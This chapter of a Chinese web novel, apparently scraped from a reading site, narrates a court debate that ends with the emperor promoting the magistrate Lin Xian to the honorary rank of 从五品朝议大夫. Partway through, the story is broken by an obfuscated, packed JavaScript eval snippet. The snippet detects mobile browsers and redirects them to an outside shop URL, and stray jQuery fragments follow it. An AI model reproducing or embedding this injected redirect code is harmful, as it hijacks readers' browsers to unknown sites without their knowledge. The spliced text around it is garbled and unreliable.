第232章:擢阶震朝堂

作品:《想苟着养老,你们偏逼我科举题名

    王彪通敌伏法,击败秃发部,生产力飞速发展,纳税十倍翻番….


    林闲的一系列政绩在有心人传播下,以不可思议的速度传遍朝野上下。


    而最令人瞠目结舌的是,达成这一切丰功伟绩的林闲,自到任安远知县至今,尚不足两个月!


    这已不是“能干”二字能形容,简直是旷古烁今大周朝!


    消息传来,朝堂震动。


    各方势力反应不一,但无一例外都被这功绩薄砸得发懵。


    金銮殿上,气氛略有微妙。


    今日的朝会,注定不会平静。


    “启奏陛下!”


    吏部尚书手持玉笏,在赵王努嘴的示意下出班奏道:“安远知县林闲,到任虽不满两月,然其政绩卓著有目共睹。经吏部合议,其考绩……当破格评为上上等,特此奏报!”


    “上上等”一出,大殿内顿时响起吸气声。


    吏部考绩分为上、中、下三等,每等又分三级。


    “上上等”乃是最高评价,非有利国利民之大功不可得。


    林闲到任区区两月竟得此评,简直是开了本朝先河!


    然而这仅仅只是开胃菜。


    不等那些惊疑不定的官员消化这个信息,一道洪亮的声音在大殿右侧炸响!


    “父皇!儿臣有本奏!”


    只见汉王周阳心领神会越众而出,高大威猛的身躯一站顿时堵住所有人的目光:“父皇明鉴,诸位同僚都听见了!吏部考评,上上等!好!就该是上上等!”


    他环视一周,扫过那些面露不忿的官员,随即扳着手如数家珍:“你们自己算算!从这小子到安远那天起,到今天满打满算,六十天有没有?六十天?他干了啥?”


    “安远那破地方穷得叮当响,乱得像一锅粥。他去之前是个啥光景?土匪比官多,流民满地走,蛮子想来就来,想走就走!”


    “可你们瞧瞧他现在干成了啥样?”


    汉王激动挥舞着手,唾沫星子几乎要喷到**官员脸上:“五万两白银自掏腰包,救活全城百姓!搞出那什么枸杞滩羊,让老百姓有了活路。重修县衙招募新兵,把那些蛀虫兵痞收拾得服服帖帖。”


    “更绝的是王彪那狗贼勾结北凉,里应外合多凶险?人家林闲谈笑间就把这毒瘤给挖了,把蛮子崽子给揍趴下了!还**是以少胜多,用一群新兵蛋子加些稀奇古怪的玩意儿,就把秃发部的狼崽子打了个落花流水!”


    太子系奸臣刚想出来反驳,周阳似乎算到似的猛地一拍大腿,震得那奸人一哆嗦:“这手段!这胆识!俺老周在边关打了半辈子仗,见过能打的和能治民的,可像他这样能文又能武的状元,真**头一个!”


    汉王猛地转身,对着御座上的皇帝:“父皇!此等不世出的奇才,若还按部就班论资排辈,那才是寒了天下忠臣良将的心。儿臣恳请父皇重重褒奖,必须狠狠破格提拔!要让全天下人都看看,为朝廷立下大功的人绝不会亏待!”


    汉王这一番话轰出,虽然言辞不雅,但那股子为功臣**的赤诚,却感染了不少中立官员连连点头。


    汉王话音刚落,另一道同盟之声恰好:“父皇,儿臣附议汉王所言。”


    只见赵王缓步出列,与汉王粗豪不同,他先是对皇帝躬身一礼,然后面向群臣不疾不徐:“汉王所言,句句肺腑。林闲到任安远时日虽短,然其功绩桩桩件件,有案可查。肃奸佞定边陲,兴产业安黎民。此非微末之功,乃匡扶社稷之大功。其才具之卓绝,心性之坚毅,确为国朝百年来罕见之良才。”


    似乎感受到即将到来的反扑,赵王话锋一转变得更为审慎:“然正如诸位同僚所虑,林闲到任终究未满一岁,资历尚浅。若骤然擢升实职高位,恐非但于其成长无益,反易招致幸进、骤贵之非议,于其长远反为不美。”


    此言一出,一些原本想反对的官员神色稍缓,觉得赵王还算“识大体”。


    赵王嘴角微不可察一勾:“故儿臣深思熟虑,以为赏功当重,亦需得法。不若……特旨,为其散阶破格晋升,擢为从五品朝议大夫,如何?”


    “从五品散阶?!”


    此言一出,朝堂炸开了锅!


    散阶,代表官员的品级待遇,是官员身份的另一重象征!


    其晋升历来讲究按部就班,熬资历拼功劳。


    林闲以状元之身,赴任时皇帝特赐五品青袍、加授正六品承德郎散阶,已是闻所未闻的“低职高配”!


    如今到任不足两月,寸功未立(在反对者看来),竟又要将散阶从正六品直接擢升至从五品?


    这已经不是破格,这是破天荒,是视官场规矩如无物!大周立国二百余年,何曾有过如此骇人听闻的升迁速度?!


    “陛下!万万不可啊!”


    太子**的急先锋、都察院左副都御史李严第一个跳了出来。


    他脸色涨得通红:“祖宗之法不可废!官场体统不可乱!林闲虽有微末之功,然到任未久,寸功未立(他故意忽略安远大捷),岂可因一时侥幸而如此超擢?此例一开人人效仿,皆以奇巧淫技、哗众取宠为能事,谁还肯脚踏实地按部就班?长此以往,国将不国啊陛下!”


    “李大人所言极是!”


    另一名**羽、礼部副侍郎也急忙出列附和:“散阶乃国家**,岂可轻授?林闲入仕不及半载,若骤升从五品,将置那些兢兢业业、为国效力数十载的老臣于何地?此乃奖浮薄而挫厚重,启侥幸而塞忠良之路也!臣恳请陛下,收回成命按制行赏即可!”


    “臣附议!”


    “臣亦附议!”


    太子**的官员纷纷出列,引经据典慷慨陈词,将“祖制”、“体统”、“资历”等大帽子一顶顶扣下来,仿佛赵王的提议是天大的殃民之举。


    太子周扬立于文官之首,却强忍着没有亲自下场。


    他没想到林闲的功劳如此硬扎,更没想到赵王汉王竟能抓住机会,提出如此刁钻的晋升方案——


    只升散阶,不升实职!


    既重赏了林闲,又避免了实权上的威胁,还堵住了“幸进”的部分口实。


    更可气的是,这提议竟隐隐契合了父皇之前赐五品袍服的心意!


    这让他一肚子反驳的话,如同堵在喉咙里,吐不出又咽不下,难受至极。


    只能安排手下当马头炮,先观察一下再寻机反击。


    朝堂之上,吵作一团。


    支持者认为林闲功高当赏,破格方能显皇恩浩荡、激励后来者;反对者则咬死祖制成例,认为如此升迁败坏官场风气。


    双方各执一词,吵得面红耳赤。


    端坐于龙椅之上的周胤始终面沉,目光如古石。


    他聆听着下方的激烈辩论,待到争吵声稍歇皇帝才抬起眼眸扫过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16972754|187586||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    众臣,最终落在慷慨激昂的汉王和沉稳从容的赵王身上,又掠过面色铁青的太子。


    最后,他望向西北那片苍茫。


    “众卿之意,朕,已了然于胸。”


    皇帝的声音不高,却带着一种不容置疑的力量,在大殿中清晰回荡。


    “林闲,属于大器晚成的英才。”


    他缓缓开口,每一个字都重比千斤:“赴任安远,时日虽浅,然其行事,朕一直在看。”


    似乎看到有还想反驳的官员,皇帝朝那边一扫顿时让他们将嘴边的话狠狠咽回去。


    “肃奸佞,需胆魄。王彪通敌,证据确凿,林闲能于旬月之间一举擒之,此其智勇。”


    “定边患,需谋略。秃发部悍然来犯,林闲能临危不乱,以寡敌众用奇制胜,保境安民,此其能。”


    “兴产业,需实干。枸杞滩羊,点石成金活民无数,此其仁。”


    “安黎庶,需真心。万金散尽,只为济民。设立义学,又教化边童,此其德。”


    皇帝每说一句,殿中不少太子系官员脸色就变一分。


    这些功绩单独拿出一件都足以称道,如今汇聚于一人之身,且在短短两月之内完成,其震撼力无以复加。


    “此非微功,乃定边民、实心用事之大功!非常之功,当待非常之人,亦当有非常之赏!”


    皇帝的声音陡然提高:“若拘泥于常例,困囿于年资,则何以激励后来者效命?何以彰显朝廷赏罚分明?”


    他目光转向赵王,微微颔首:“赵王所奏升散阶而不迁实职,于规制无悖可于情理相通。既酬其功励其志,又不使其骤贵。此议老成谋国,颇合朕意。”


    他特意强调了“老成谋国”四个字,意味深长。


    最后他的目光落在御案上那份关于林闲的奏报,最终一言定乾坤:“朕意已决!”


    “特旨:安远知县林闲,忠勤体国才堪大用,安边定民,功在社稷。着即加授从五品朝议大夫散阶,所有俸禄仪制悉依新阶。望其再接再厉,勿负朕望!”


    “陛下圣明!万岁!万岁!万万岁!”


    赵王、汉王及一众官员闻言大喜,齐齐躬身下拜,山呼万岁!


    赵王嘴角含笑,汉王更是咧开大嘴,差点笑出声。


    此道旨意既重重褒奖了林闲,彰显了皇帝破格用才的魄力与恩宠,又未动其实职,避免太子**的激烈反弹,更巧妙将林闲的品级提升至与其御赐五品官袍相匹配位置。


    可谓面面俱到,完美至极!


    而太子**,则个个面如死灰。


    尤其是那位左副都御史李严,更是身体摇摇欲坠。


    他们引经据典,最终却换来皇帝一句“老成谋国”的肯定和这无可更改的圣裁!


    这记耳光,抽得又响又亮!


    太子周扬低垂着头,宽大的袖袍下双手紧握成拳。


    他感觉自己的脸在满朝文武面前,被父皇、被赵王汉王、更是被那个远在西北的林闲,反复踩在脚下摩擦。


    然而圣旨已下,金口玉言再无转圜余地。


    这道旨意迅速由六百里加急传遍天下。


    林闲这位新科状元知县,正式擢升至从五品朝议大夫!


    虽然是散衔,但其升迁之速,再次以事实震撼了整个大周官场,也向所有人宣告铁的事实:这位安远状元公简在帝心,圣眷正浓。其崛起之势,已不可阻挡!